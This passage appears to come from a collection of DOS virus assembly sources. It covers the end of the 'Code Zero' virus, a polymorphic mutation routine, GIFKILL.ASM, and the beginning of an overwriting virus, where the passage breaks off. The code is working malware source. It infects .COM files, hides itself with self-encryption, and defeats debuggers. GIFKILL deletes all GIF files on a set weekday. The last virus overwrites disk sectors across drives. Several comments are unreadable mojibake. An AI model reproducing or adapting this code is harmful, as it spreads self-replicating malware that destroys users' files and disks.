  2809.         xor    cx,cx            ; Clear all attributes
  2810.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  2811.         int    021h
  2812.  
  2813.         mov    ax,03D02h        ; DOS open file function, r/w
  2814.         int    021h
  2815.         xchg    bx,ax            ; BX holds file handle
  2816.  
  2817.         mov    ah,040h            ; DOS write to file function
  2818.         mov    cx,3            ; CX holds bytes to write (3)
  2819.         lea    dx,[di + new_jump]    ; DX points to the jump we made
  2820.         int    021h
  2821.  
  2822.         mov    ax,04202h        ; DOS file seek function, EOF
  2823.         cwd                ; Zero DX _ Zero bytes from end
  2824.         mov    cx,dx            ; Zero CX /
  2825.         int    021h
  2826.  
  2827.         push    si            ; Save SI through call
  2828.         call    encrypt_code        ; Write an encrypted copy
  2829.         pop    si            ; Restore SI
  2830.  
  2831.         mov    ax,05701h        ; DOS set file time function
  2832.         mov    cx,[si + 016h]        ; CX holds old file time
  2833.         mov    dx,[si + 018h]        ; DX holds old file date
  2834.         int    021h
  2835.  
  2836.         mov    ah,03Eh            ; DOS close file function
  2837.         int    021h
  2838.  
  2839.         mov    ax,04301h        ; DOS set file attrib. function
  2840.         xor    ch,ch            ; Clear CH for file attribute
  2841.         mov    cl,[si + 015h]        ; CX holds file's old attributes
  2842.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  2843.         int    021h
  2844.  
  2845. infection_done:    cmp    byte ptr [di + set_carry],1  ; Set carry flag if failed
  2846.         ret                ; Return to caller
  2847.  
  2848. set_carry    db    ?            ; Set-carry-on-exit flag
  2849. buffer        db    090h,0CDh,020h        ; Buffer to hold old three bytes
  2850. new_jump    db    0E9h,?,?        ; New jump to virus
  2851. infect_file    endp
  2852.  
  2853.  
  2854.         db    06Ah,025h,0C8h,0A7h,094h
  2855.  
  2856. infected_all    proc    near
  2857. if virus_type    eq    0
  2858.         mov    al,byte ptr [di + set_carry]
  2859. else
  2860.         mov    al,byte ptr [set_carry]    ; AX holds success value
  2861. endif
  2862.         cbw                ; Sign-extend AL into AX
  2863.         ret                ; Return to caller
  2864. infected_all    endp
  2865.  
  2866. data00        db      7,7,7,"** CODE ZERO **",13,10,0
  2867.  
  2868. vcl_marker    db    "[VCL]",0        ; VCL creation marker
  2869.  
  2870.  
  2871. note        db    "[Code Zero]",0
  2872.         db    "Nowhere Man, [NuKE] '92",0
  2873.  
  2874. encrypt_code    proc    near
  2875.         push    bp            ; Save BP
  2876.         mov    bp,di            ; Use BP as pointer to code
  2877.         lea    si,[bp + encrypt_decrypt]; SI points to cipher routine
  2878.  
  2879.         xor    ah,ah            ; BIOS get time function
  2880.         int    01Ah
  2881.         mov    word ptr [si + 9],dx    ; Low word of timer is new key
  2882.  
  2883.         xor    byte ptr [si + 1],8    ;
  2884.         xor    byte ptr [si + 8],1    ; Change all SIs to DIs
  2885.         xor    word ptr [si + 11],0101h; (and vice-versa)
  2886.  
  2887.         lea    di,[bp + finish]    ; Copy routine into heap
  2888.         mov    cx,finish - encrypt_decrypt - 1  ; All but final RET
  2889.         push    si            ; Save SI for later
  2890.         push    cx            ; Save CX for later
  2891.     rep    movsb                ; Copy the bytes
  2892.  
  2893.         lea    si,[bp + write_stuff]    ; SI points to write stuff
  2894.         mov    cx,5            ; CX holds length of write
  2895.     rep    movsb                ; Copy the bytes
  2896.  
  2897.         pop    cx            ; Restore CX
  2898.         pop    si            ; Restore SI
  2899.         inc    cx            ; Copy the RET also this time
  2900.     rep    movsb                ; Copy the routine again
  2901.  
  2902.         mov    ah,040h            ; DOS write to file function
  2903.         lea    dx,[bp + start]        ; DX points to virus
  2904.  
  2905.         lea    si,[bp + finish]    ; SI points to routine
  2906.         call    si            ; Encrypt/write/decrypt
  2907.  
  2908.         mov    di,bp            ; DI points to virus again
  2909.         pop    bp            ; Restore BP
  2910.         ret                ; Return to caller
  2911.  
  2912. write_stuff:    mov    cx,finish - start    ; Length of code
  2913.         int    021h
  2914. encrypt_code    endp
  2915.  
  2916. end_of_code    label    near
  2917.  
  2918. encrypt_decrypt    proc    near
  2919.         lea    si,[bp + start_of_code] ; SI points to code to decrypt
  2920.         mov    cx,(end_of_code - start_of_code) / 2 ; CX holds length
  2921. xor_loop:    db    081h,034h,00h,00h    ; XOR a word by the key
  2922.         inc    si            ; Do the next word
  2923.         inc    si            ;
  2924.         loop    xor_loop        ; Loop until we're through
  2925.         ret                ; Return to caller
  2926. encrypt_decrypt    endp
  2927. finish        label    near
  2928.  
  2929. code        ends
  2930.         end    main
  2931.  
  2932. done
  2933.  
  2934.     .radix    16
  2935.     .model    tiny
  2936.     .code
  2937.  
  2938.  
  2939.     org    100
  2940.  
  2941. timer    equ    46C
  2942.  
  2943. start:
  2944.     jmp    prog
  2945.  
  2946. v_entry:
  2947.     xchg    ax,bp
  2948.     mov    si,100
  2949.     inc    si
  2950.     add    si,[si]
  2951.     mov    di,si
  2952.     xor    dx,dx
  2953.     mov    cx,(top-encrypt)/2-1
  2954.     push    cx
  2955. calcgen:
  2956.     xor    dx,[si+encrypt-v_entry+2]
  2957.     org    $-1
  2958.     inc    si
  2959.     inc    si
  2960.     dec    cx
  2961.     jns    calcgen
  2962.     pop    ax
  2963. decrypt:
  2964.     xor    [di+encrypt-v_entry+2],dx
  2965.     org    $-1
  2966.     inc    di
  2967.     inc    di
  2968.     dec    ax
  2969.     jns    decrypt
  2970. encrypt:
  2971.     xchg    si,si        ;ÆѺ¿ ¿¡▒▓░│¬╢¿¿ ▒á ¡Ñ«í╡«ñ¿¼¿
  2972.     xchg    dx,dx
  2973.     add    si,encrypt-top+2
  2974.     dec    dx
  2975.  
  2976. ; Æ│¬ ▓░┐íóá ñá ▒Ñ ▒½«ª¿ ¿¡¿╢¿á½¿º¿░á╣á▓á ╖á▒▓ ¡á ó¿░│▒á. Åá░á¼Ñ▓░¿:
  2977. ;   DX = -¡«¼Ñ░ ¡á úÑ¡Ñ░á╢¿┐▓á
  2978. ;   SI = áñ░Ñ▒ ¡á Ñ▓¿¬Ñ▓á v_entry.
  2979.  
  2980. ; . . .
  2981. prog:
  2982.     push    ds
  2983.     xor    ax,ax
  2984.     mov    ds,ax
  2985.     mov    ax,ds:[timer]
  2986.     pop    ds
  2987.     call    mutate
  2988.     mov    ax,4C00
  2989.     int    21
  2990.  
  2991. ; Æế »«ñ»░«ú░á¼á ▒║ºñáóá ▒½│╖á⌐¡á ¼│▓á╢¿┐ ¡á ñѬ«ñ¿░á╣á▓á ╖á▒▓. Åá░á¼Ñ▓░¿:
  2992. ;   AX = ▒½│╖á⌐¡« ╖¿▒½« (óºÑ▓« «▓ 0:46C)
  2993.  
  2994. mutate:
  2995.     cld
  2996.     xor    dx,dx
  2997.     push    cs
  2998.     pop    ds
  2999.     mov    cx,90
  3000.     div    cx
  3001.     call    getcode
  3002.     mov    ds:[15],al
  3003.     call    getcode
  3004.     mov    ds:[1E],al
  3005.     xchg    ax,dx
  3006.     mov    dl,6
  3007.     div    dl
  3008.     mov    si,offset muttbl
  3009.     mov    bx,offset xlatbl1
  3010.     call    buildblk
  3011.     mov    [si],al
  3012.     inc    si
  3013.     mov    bx,offset xlatbl2
  3014.     call    buildblk2
  3015.     mov    bx,offset xlatbl3
  3016.     call    buildblk2
  3017.     mov    bx,offset muttbl-1
  3018.     mov    si,offset xlatdat
  3019.     mov    cx,xlatbl1-xlatdat
  3020. nextgen:
  3021.     lodsb
  3022.     test    al,al
  3023.     jz    cantchg
  3024.     push    ax
  3025.     and    al,111b
  3026.     xlat
  3027.     mov    ah,0F8
  3028.     xchg    ax,dx
  3029.     pop    ax
  3030.     push    cx
  3031.     mov    cl,3
  3032.     shr    al,cl
  3033.     jz    skipxlat
  3034.     xlat
  3035.     shl    al,cl
  3036.     jz    skipxlat
  3037.     xlat
  3038.     shl    al,cl
  3039.     or    dl,al
  3040.     mov    dh,0c0
  3041. skipxlat:
  3042.     pop    cx
  3043.     and    [si-(xlatdat+1-v_entry)],dh
  3044.     or    [si-(xlatdat+1-v_entry)],dl
  3045. cantchg:
  3046.     loop    nextgen
  3047.     ret
  3048.  
  3049. buildblk2:
  3050.     mov    al,ah
  3051. buildblk:
  3052.     shr    al,1
  3053.     mov    dl,al
  3054.     push    ax
  3055.     adc    al,1
  3056.     cmp    al,3
  3057.     jb    setblk
  3058.     sub    al,3
  3059. setblk:
  3060.     or    dl,al
  3061.     xlat
  3062.     mov    [si],al
  3063.     inc    si
  3064.     pop    ax
  3065.     xlat
  3066.     mov    [si],al
  3067.     inc    si
  3068.     mov    al,dl
  3069.     xor    al,3
  3070.     xlat
  3071.     ret
  3072.  
  3073. getcode:
  3074.     shr    dx,1
  3075.     mov    al,79
  3076.     jnc    got
  3077.     or    al,100b
  3078. got:
  3079.     ret
  3080.  
  3081. xlatdat db    0,4,0,0,4,0,26,0
  3082.     db    2c,0,9,2,0,0,2,0
  3083.     db    0e,0,4,4,2,0,0,3
  3084.     db    0,0f,0,5,5,3,0,0
  3085.     db    0,4,0,1
  3086.  
  3087. xlatbl1 db    0,1,2
  3088. xlatbl2 db    3,6,7
  3089. xlatbl3 db    7,4,5
  3090.  
  3091. chksum    dw    1A03        ;è«¡▓░«½¡á ▒│¼á ¡á ó¿░│▒á.
  3092. ; éìêîÇìêà! Æế ¬«¡▓░«½¡á ▒│¼á ▓░┐íóá ñá ▒Ñ ▒¼Ñ▓¡Ñ ¡á ░║¬á. Æ┐ ▒Ñ ▒¼┐▓á ¬á▓«
  3093. ; ▒Ñ ÑXOR-¡á▓ ó▒¿╖¬¿ 16-í¿▓«ó¿ ñ│¼¿ ¼Ñªñ│ encrypt ¿ top. ü░«┐ ¿¼ ▓░┐íóá ñá í║ñÑ
  3094. ; ¡Ñ╖Ñ▓¡« ╖¿▒½«, á «▒óÑ¡ ▓«óá ▒Ἷ┐ Ñ▓¿¬Ñ▓ chksum ▓░┐íóá ñá í║ñÑ ¡á ú░á¡¿╢á ¡á
  3095. ; ñ│¼á. ä¿░Ѭ▓¿ó¿▓Ñ errnz ó ¬░á┐ ¡á ┤á⌐½á «▒¿ú│░┐óá▓ ▓«óá. Ä▒óÑ¡ ▓«óá á¬« ¼Ñªñ│
  3096. ; encrypt ¿ top ¿¼á ¡┐¬á¬ó¿ ñá¡¡¿ ¿½¿ ¬«ñ ¬«¿▓« ▒Ñ »░«¼Ñ¡┐▓, ▓┐ ▓░┐íóá ñá ▒Ñ
  3097. ; ▒¼┐▓á »« «»¿▒á¡¿┐ á½ú«░¿▓║¼ »░¿ ó▒┐¬« ºá░áº┐óá¡Ñ ¡á ┤á⌐½.
  3098.  
  3099. ; Æ│¬ ▓░┐íóá ñá ▒Ñ ▒½«ª¿ «▒▓á¡á½á▓á ╖á▒▓ «▓ ó¿░│▒á
  3100.  
  3101. ; . . .
  3102.  
  3103. top:
  3104.     .errnz    (encrypt-v_entry) mod 2
  3105.     .errnz    (top-encrypt) mod 4-2
  3106.     .errnz    (top-v_entry) mod 2
  3107.     .errnz    (chksum-v_entry) mod 2
  3108.  
  3109. muttbl    db    7 dup(?)    ;Éáí«▓¡á «í½á▒▓ ºá »«ñ»░«ú░á¼á▓á mutate
  3110.  
  3111.     end    start
  3112.  
  3113. done
  3114.  
  3115. ; GIFKILL.ASM -- Seek and Destroy GIF
  3116. ; Written by Dark Avenger
  3117.  
  3118. virus_type    equ    0            ; Appending Virus
  3119. is_encrypted    equ    1            ; We're encrypted
  3120. tsr_virus    equ    0            ; We're not TSR
  3121.  
  3122. code        segment byte public
  3123.         assume    cs:code,ds:code,es:code,ss:code
  3124.         org    0100h
  3125.  
  3126. main        proc    near
  3127.         db    0E9h,00h,00h        ; Near jump (for compatibility)
  3128. start:        call    find_offset        ; Like a PUSH IP
  3129. find_offset:    pop    bp            ; BP holds old IP
  3130.         sub    bp,offset find_offset    ; Adjust for length of host
  3131.  
  3132.         call    encrypt_decrypt        ; Decrypt the virus
  3133.  
  3134. start_of_code    label    near
  3135.  
  3136.         lea    si,[bp + buffer]    ; SI points to original start
  3137.         mov    di,0100h        ; Push 0100h on to stack for
  3138.         push    di            ; return to main program
  3139.         movsw                ; Copy the first two bytes
  3140.         movsb                ; Copy the third byte
  3141.  
  3142.         mov    di,bp            ; DI points to start of virus
  3143.  
  3144.         mov    bp,sp            ; BP points to stack
  3145.         sub    sp,128            ; Allocate 128 bytes on stack
  3146.  
  3147.         mov    ah,02Fh            ; DOS get DTA function
  3148.         int    021h
  3149.         push    bx            ; Save old DTA address on stack
  3150.  
  3151.         mov    ah,01Ah            ; DOS set DTA function
  3152.         lea    dx,[bp - 128]        ; DX points to buffer on stack
  3153.         int    021h
  3154.  
  3155. stop_tracing:    mov    cx,09EBh
  3156.         mov    ax,0FE05h        ; Acutal move, plus a HaLT
  3157.         jmp    $-2
  3158.         add    ah,03Bh            ; AH now equals 025h
  3159.         jmp    $-10            ; Execute the HaLT
  3160.         lea    bx,[di + null_vector]    ; BX points to new routine
  3161.         push    cs            ; Transfer CS into ES
  3162.         pop    es            ; using a PUSH/POP
  3163.         int    021h
  3164.         mov    al,1            ; Disable interrupt 1, too
  3165.         int    021h
  3166.         jmp    short skip_null        ; Hop over the loop
  3167. null_vector:    jmp    $            ; An infinite loop
  3168. skip_null:    mov    byte ptr [di + lock_keys + 1],130  ; Prefetch unchanged
  3169. lock_keys:    mov    al,128            ; Change here screws DEBUG
  3170.         out    021h,al            ; If tracing then lock keyboard
  3171.  
  3172.         mov    cx,0003h        ; Do 3 infections
  3173. search_loop:    push    cx            ; Save CX
  3174.         call    search_files        ; Find and infect a file
  3175.         pop    cx            ; Restore CX
  3176.         loop    search_loop        ; Repeat until CX is 0
  3177.  
  3178.         call    get_weekday
  3179.         cmp    ax,0005h        ; Did the function return 5?
  3180.         je    strt00            ; If equal, do effect
  3181.         jmp    end00            ; Otherwise skip over it
  3182. strt00:        lea    dx,[di + data00]    ; DX points to data
  3183.         mov    ah,04Eh            ; DOS find first file function
  3184.         mov    cx,00100111b        ; All file attributes valid
  3185.         int    021h
  3186.         jc    erase_done        ; Exit procedure on failure
  3187.         mov    ah,02Fh            ; DOS get DTA function
  3188.         int    021h
  3189.         lea    dx,[bx + 01Eh]        ; DX points to filename in DTA
  3190. erase_loop:    mov    ah,041h            ; DOS delete file function
  3191.         int    021h
  3192.         mov    ah,03Ch            ; DOS create file function
  3193.         xor    cx,cx            ; No attributes for new file
  3194.         int    021h
  3195.         mov    ah,041h            ; DOS delete file function
  3196.         int    021h
  3197.         mov    ah,04Fh            ; DOS find next file function
  3198.         int    021h
  3199.         jnc    erase_loop        ; Repeat until no files left
  3200. erase_done:
  3201.  
  3202. end00:
  3203. com_end:    pop    dx            ; DX holds original DTA address
  3204.         mov    ah,01Ah            ; DOS set DTA function
  3205.         int    021h
  3206.  
  3207.         mov    sp,bp            ; Deallocate local buffer
  3208.  
  3209.         xor    ax,ax            ;
  3210.         mov    bx,ax            ;
  3211.         mov    cx,ax            ;
  3212.         mov    dx,ax            ; Empty out the registers
  3213.         mov    si,ax            ;
  3214.         mov    di,ax            ;
  3215.         mov    bp,ax            ;
  3216.  
  3217.         ret                ; Return to original program
  3218. main        endp
  3219.  
  3220.  
  3221.         db    0FAh,045h,02Eh,0B3h,024h
  3222.  
  3223. search_files    proc    near
  3224.         push    bp            ; Save BP
  3225.         mov    bp,sp            ; BP points to local buffer
  3226.         sub    sp,64            ; Allocate 64 bytes on stack
  3227.  
  3228.         mov    ah,047h            ; DOS get current dir function
  3229.         xor    dl,dl            ; DL holds drive # (current)
  3230.         lea    si,[bp - 64]        ; SI points to 64-byte buffer
  3231.         int    021h
  3232.  
  3233.         mov    ah,03Bh            ; DOS change directory function
  3234.         lea    dx,[di + root]        ; DX points to root directory
  3235.         int    021h
  3236.  
  3237.         call    traverse        ; Start the traversal
  3238.  
  3239.         mov    ah,03Bh            ; DOS change directory function
  3240.         lea    dx,[bp - 64]        ; DX points to old directory
  3241.         int    021h
  3242.  
  3243.         mov    sp,bp            ; Restore old stack pointer
  3244.         pop    bp            ; Restore BP
  3245.         ret                ; Return to caller
  3246.  
  3247. root        db    "\",0            ; Root directory
  3248. search_files    endp
  3249.  
  3250. traverse    proc    near
  3251.         push    bp            ; Save BP
  3252.  
  3253.         mov    ah,02Fh            ; DOS get DTA function
  3254.         int    021h
  3255.         push    bx            ; Save old DTA address
  3256.  
  3257.         mov    bp,sp            ; BP points to local buffer
  3258.         sub    sp,128            ; Allocate 128 bytes on stack
  3259.  
  3260.         mov    ah,01Ah            ; DOS set DTA function
  3261.         lea    dx,[bp - 128]        ; DX points to buffer
  3262.         int    021h
  3263.  
  3264.         mov    ah,04Eh            ; DOS find first function
  3265.         mov    cx,00010000b        ; CX holds search attributes
  3266.         lea    dx,[di + all_files]    ; DX points to "*.*"
  3267.         int    021h
  3268.         jc    leave_traverse        ; Leave if no files present
  3269.  
  3270. check_dir:    cmp    byte ptr [bp - 107],16    ; Is the file a directory?
  3271.         jne    another_dir        ; If not, try again
  3272.         cmp    byte ptr [bp - 98],'.'    ; Did we get a "." or ".."?
  3273.         je    another_dir        ;If so, keep going
  3274.  
  3275.         mov    ah,03Bh            ; DOS change directory function
  3276.         lea    dx,[bp - 98]        ; DX points to new directory
  3277.         int    021h
  3278.  
  3279.         call    traverse        ; Recursively call ourself
  3280.  
  3281.         pushf                ; Save the flags
  3282.         mov    ah,03Bh            ; DOS change directory function
  3283.         lea    dx,[di + up_dir]    ; DX points to parent directory
  3284.         int    021h
  3285.         popf                ; Restore the flags
  3286.  
  3287.         jnc    done_searching        ; If we infected then exit
  3288.  
  3289. another_dir:    mov    ah,04Fh            ; DOS find next function
  3290.         int    021h
  3291.         jnc    check_dir        ; If found check the file
  3292.  
  3293. leave_traverse:
  3294.         lea    dx,[di + com_mask]    ; DX points to "*.COM"
  3295.         call    find_files        ; Try to infect a file
  3296. done_searching:    mov    sp,bp            ; Restore old stack frame
  3297.         mov    ah,01Ah            ; DOS set DTA function
  3298.         pop    dx            ; Retrieve old DTA address
  3299.         int    021h
  3300.  
  3301.         pop    bp            ; Restore BP
  3302.         ret                ; Return to caller
  3303.  
  3304. up_dir        db    "..",0            ; Parent directory name
  3305. all_files    db    "*.*",0            ; Directories to search for
  3306. com_mask    db    "*.COM",0        ; Mask for all .COM files
  3307. traverse    endp
  3308.  
  3309.         db    0A6h,03Ch,0B6h,078h,0CCh
  3310.  
  3311.  
  3312. find_files    proc    near
  3313.         push    bp            ; Save BP
  3314.  
  3315.         mov    ah,02Fh            ; DOS get DTA function
  3316.         int    021h
  3317.         push    bx            ; Save old DTA address
  3318.  
  3319.         mov    bp,sp            ; BP points to local buffer
  3320.         sub    sp,128            ; Allocate 128 bytes on stack
  3321.  
  3322.         push    dx            ; Save file mask
  3323.         mov    ah,01Ah            ; DOS set DTA function
  3324.         lea    dx,[bp - 128]        ; DX points to buffer
  3325.         int    021h
  3326.  
  3327.         mov    ah,04Eh            ; DOS find first file function
  3328.         mov    cx,00100111b        ; CX holds all file attributes
  3329.         pop    dx            ; Restore file mask
  3330. find_a_file:    int    021h
  3331.         jc    done_finding        ; Exit if no files found
  3332.         call    infect_file        ; Infect the file!
  3333.         jnc    done_finding        ; Exit if no error
  3334.         mov    ah,04Fh            ; DOS find next file function
  3335.         jmp    short find_a_file    ; Try finding another file
  3336.  
  3337. done_finding:    mov    sp,bp            ; Restore old stack frame
  3338.         mov    ah,01Ah            ; DOS set DTA function
  3339.         pop    dx            ; Retrieve old DTA address
  3340.         int    021h
  3341.  
  3342.         pop    bp            ; Restore BP
  3343.         ret                ; Return to caller
  3344. find_files    endp
  3345.  
  3346.         db    002h,0EFh,034h,048h,091h
  3347.  
  3348. infect_file    proc    near
  3349.         mov    ah,02Fh            ; DOS get DTA address function
  3350.         int    021h
  3351.         mov    si,bx            ; SI points to the DTA
  3352.  
  3353.         mov    byte ptr [di + set_carry],0  ; Assume we'll fail
  3354.  
  3355.         cmp    word ptr [si + 01Ah],(65279 - (finish - start))
  3356.         jbe    size_ok            ; If it's small enough continue
  3357.         jmp    infection_done        ; Otherwise exit
  3358.  
  3359. size_ok:    mov    ax,03D00h        ; DOS open file function, r/o
  3360.         lea    dx,[si + 01Eh]        ; DX points to file name
  3361.         int    021h
  3362.         xchg    bx,ax            ; BX holds file handle
  3363.  
  3364.         mov    ah,03Fh            ; DOS read from file function
  3365.         mov    cx,3            ; CX holds bytes to read (3)
  3366.         lea    dx,[di + buffer]    ; DX points to buffer
  3367.         int    021h
  3368.  
  3369.         mov    ax,04202h        ; DOS file seek function, EOF
  3370.         cwd                ; Zero DX _ Zero bytes from end
  3371.         mov    cx,dx            ; Zero CX /
  3372.         int    021h
  3373.  
  3374.         xchg    dx,ax            ; Faster than a PUSH AX
  3375.         mov    ah,03Eh            ; DOS close file function
  3376.         int    021h
  3377.         xchg    dx,ax            ; Faster than a POP AX
  3378.  
  3379.         sub    ax,finish - start + 3    ; Adjust AX for a valid jump
  3380.         cmp    word ptr [di + buffer + 1],ax  ; Is there a JMP yet?
  3381.         je    infection_done        ; If equal then exit
  3382.         mov    byte ptr [di + set_carry],1  ; Success -- the file is OK
  3383.         add    ax,finish - start    ; Re-adjust to make the jump
  3384.         mov    word ptr [di + new_jump + 1],ax  ; Construct jump
  3385.  
  3386.         mov    ax,04301h        ; DOS set file attrib. function
  3387.         xor    cx,cx            ; Clear all attributes
  3388.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  3389.         int    021h
  3390.  
  3391.         mov    ax,03D02h        ; DOS open file function, r/w
  3392.         int    021h
  3393.         xchg    bx,ax            ; BX holds file handle
  3394.  
  3395.         mov    ah,040h            ; DOS write to file function
  3396.         mov    cx,3            ; CX holds bytes to write (3)
  3397.         lea    dx,[di + new_jump]    ; DX points to the jump we made
  3398.         int    021h
  3399.  
  3400.         mov    ax,04202h        ; DOS file seek function, EOF
  3401.         cwd                ; Zero DX _ Zero bytes from end
  3402.         mov    cx,dx            ; Zero CX /
  3403.         int    021h
  3404.  
  3405.         push    si            ; Save SI through call
  3406.         call    encrypt_code        ; Write an encrypted copy
  3407.         pop    si            ; Restore SI
  3408.  
  3409.         mov    ax,05701h        ; DOS set file time function
  3410.         mov    cx,[si + 016h]        ; CX holds old file time
  3411.         mov    dx,[si + 018h]        ; DX holds old file date
  3412.         int    021h
  3413.  
  3414.         mov    ah,03Eh            ; DOS close file function
  3415.         int    021h
  3416.  
  3417.         mov    ax,04301h        ; DOS set file attrib. function
  3418.         xor    ch,ch            ; Clear CH for file attribute
  3419.         mov    cl,[si + 015h]        ; CX holds file's old attributes
  3420.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  3421.         int    021h
  3422.  
  3423. infection_done:    cmp    byte ptr [di + set_carry],1  ; Set carry flag if failed
  3424.         ret                ; Return to caller
  3425.  
  3426. set_carry    db    ?            ; Set-carry-on-exit flag
  3427. buffer        db    090h,0CDh,020h        ; Buffer to hold old three bytes
  3428. new_jump    db    0E9h,?,?        ; New jump to virus
  3429. infect_file    endp
  3430.  
  3431.  
  3432.         db    089h,043h,03Bh,054h,0AAh
  3433.  
  3434. get_weekday     proc    near
  3435.         mov    ah,02Ah            ; DOS get date function
  3436.         int    021h
  3437.         cbw                ; Sign-extend AL into AX
  3438.         ret                ; Return to caller
  3439. get_weekday     endp
  3440.  
  3441. data00        db      "*.GIF",0
  3442.  
  3443. vcl_marker      db      "[Z10]",0               ; VCL creation marker
  3444.  
  3445.  
  3446. note        db    "Bye Bye Mr.GIF",0
  3447.         db    "You'll never find all the file"
  3448.         db    "s I have infected!",0
  3449.  
  3450. encrypt_code    proc    near
  3451.         push    bp            ; Save BP
  3452.         mov    bp,di            ; Use BP as pointer to code
  3453.         lea    si,[bp + encrypt_decrypt]; SI points to cipher routine
  3454.  
  3455.         xor    ah,ah            ; BIOS get time function
  3456.         int    01Ah
  3457.         mov    word ptr [si + 9],dx    ; Low word of timer is new key
  3458.  
  3459.         xor    byte ptr [si + 1],8    ;
  3460.         xor    byte ptr [si + 8],1    ; Change all SIs to DIs
  3461.         xor    word ptr [si + 11],0101h; (and vice-versa)
  3462.  
  3463.         lea    di,[bp + finish]    ; Copy routine into heap
  3464.         mov    cx,finish - encrypt_decrypt - 1  ; All but final RET
  3465.         push    si            ; Save SI for later
  3466.         push    cx            ; Save CX for later
  3467.     rep    movsb                ; Copy the bytes
  3468.  
  3469.         lea    si,[bp + write_stuff]    ; SI points to write stuff
  3470.         mov    cx,5            ; CX holds length of write
  3471.     rep    movsb                ; Copy the bytes
  3472.  
  3473.         pop    cx            ; Restore CX
  3474.         pop    si            ; Restore SI
  3475.         inc    cx            ; Copy the RET also this time
  3476.     rep    movsb                ; Copy the routine again
  3477.  
  3478.         mov    ah,040h            ; DOS write to file function
  3479.         lea    dx,[bp + start]        ; DX points to virus
  3480.  
  3481.         lea    si,[bp + finish]    ; SI points to routine
  3482.         call    si            ; Encrypt/write/decrypt
  3483.  
  3484.         mov    di,bp            ; DI points to virus again
  3485.         pop    bp            ; Restore BP
  3486.         ret                ; Return to caller
  3487.  
  3488. write_stuff:    mov    cx,finish - start    ; Length of code
  3489.         int    021h
  3490. encrypt_code    endp
  3491.  
  3492. end_of_code    label    near
  3493.  
  3494. encrypt_decrypt    proc    near
  3495.         lea    si,[bp + start_of_code] ; SI points to code to decrypt
  3496.         mov    cx,(end_of_code - start_of_code) / 2 ; CX holds length
  3497. xor_loop:    db    081h,034h,00h,00h    ; XOR a word by the key
  3498.         inc    si            ; Do the next word
  3499.         inc    si            ;
  3500.         loop    xor_loop        ; Loop until we're through
  3501.         ret                ; Return to caller
  3502. encrypt_decrypt    endp
  3503. finish        label    near
  3504.  
  3505. code        ends
  3506.         end    main
  3507.  
  3508. done
  3509.  
  3510. virus_type    equ    1            ; Overwriting Virus
  3511. is_encrypted    equ    1            ; We're encrypted
  3512. tsr_virus    equ    0            ; We're not TSR
  3513.  
  3514. code        segment byte public
  3515.         assume    cs:code,ds:code,es:code,ss:code
  3516.         org    0100h
  3517.  
  3518. start        label    near
  3519.  
  3520. main        proc    near
  3521. flag:        cmp    dx,0
  3522.         xchg    dx,ax
  3523.  
  3524.         call    encrypt_decrypt        ; Decrypt the virus
  3525.  
  3526. start_of_code    label    near
  3527.  
  3528. stop_tracing:    mov    cx,09EBh
  3529.         mov    ax,0FE05h        ; Acutal move, plus a HaLT
  3530.         jmp    $-2
  3531.         add    ah,03Bh            ; AH now equals 025h
  3532.         jmp    $-10            ; Execute the HaLT
  3533.         mov    bx,offset null_vector    ; BX points to new routine
  3534.         push    cs            ; Transfer CS into ES
  3535.         pop    es            ; using a PUSH/POP
  3536.         int    021h
  3537.         mov    al,1            ; Disable interrupt 1, too
  3538.         int    021h
  3539.         jmp    short skip_null        ; Hop over the loop
  3540. null_vector:    jmp    $            ; An infinite loop
  3541. skip_null:    mov    byte ptr [lock_keys + 1],130  ; Prefetch unchanged
  3542. lock_keys:    mov    al,128            ; Change here screws DEBUG
  3543.         out    021h,al            ; If tracing then lock keyboard
  3544.  
  3545.         mov    cx,0007h        ; Do 7 infections
  3546. search_loop:    push    cx            ; Save CX
  3547.         call    search_files        ; Find and infect a file
  3548.         pop    cx            ; Restore CX
  3549.         loop    search_loop        ; Repeat until CX is 0
  3550.  
  3551.         mov    bx,0001h        ; First argument is 1
  3552.         mov    si,0002h        ; Second argument is 2
  3553.         push    es            ; Save ES
  3554.         xor    ax,ax            ; Set the extra segment to
  3555.         mov    es,ax                   ; zero (ROM BIOS)
  3556.         shl    bx,1            ; Convert to word index
  3557.         shl    si,1            ; Convert to word index
  3558.         mov    ax,word ptr [bx + 03FEh]; Zero COM port address
  3559.         xchg    word ptr [si + 03FEh],ax; Put first value in second,
  3560.         mov    word ptr [bx + 03FEh],ax; and second value in first!
  3561.         pop    es            ; Restore ES
  3562.  
  3563.         mov    ax,0002h        ; First argument is 2
  3564.         mov    cx,0096h        ; Second argument is 150
  3565.         cli                ; Disable interrupts (no Ctrl-C)
  3566.         cwd                ; Clear DX (start with sector 0)
  3567. trash_loop:    int    026h            ; DOS absolute write interrupt
  3568.         dec    ax            ; Select the previous disk
  3569.         cmp    ax,-1            ; Have we gone too far?
  3570.         jne    trash_loop        ; If not, repeat with new drive
  3571.         sti                ; Restore interrupts
  3572.  
  3573.         mov    ax,04C00h        ; DOS terminate function
  3574.         int    021h
  3575. main        endp
  3576.  
  3577.  
  3578.         db    036h,0D6h,0D4h,0E6h,029h
  3579.  
  3580. search_files    proc    near
  3581.         push    bp            ; Save BP
  3582.         mov    bp,sp            ; BP points to local buffer
  3583.         sub    sp,135            ; Allocate 135 bytes on stack
  3584.  
  3585.         mov    byte ptr [bp - 135],'\'    ; Start with a backslash
  3586.  
  3587.         mov    ah,047h            ; DOS get current dir function
  3588.         xor    dl,dl            ; DL holds drive # (current)
  3589.         lea    si,[bp - 134]        ; SI points to 64-byte buffer
  3590.         int    021h
  3591.  
  3592.         call    traverse_path        ; Start the traversal
  3593.  
  3594. traversal_loop:    cmp    word ptr [path_ad],0    ; Was the search unsuccessful?
  3595.         je    done_searching        ; If so then we're done
  3596.         call    found_subdir        ; Otherwise copy the subdirectory
  3597.  
  3598.         mov    ax,cs            ; AX holds the code segment
  3599.         mov    ds,ax            ; Set the data and extra
  3600.         mov    es,ax            ; segments to the code segment
  3601.  
  3602.         xor    al,al            ; Zero AL
  3603.         stosb                ; NULL-terminate the directory
  3604.  
  3605.         mov    ah,03Bh            ; DOS change directory function
  3606.         lea    dx,[bp - 70]        ; DX points to the directory
  3607.         int    021h
  3608.  
  3609.         mov    dx,offset com_mask    ; DX points to "*.COM"
  3610.         call    find_files        ; Try to infect a .COM file
  3611.         jnc    done_searching        ; If successful the exit
  3612.         mov    dx,offset exe_mask    ; DX points to "*.EXE"
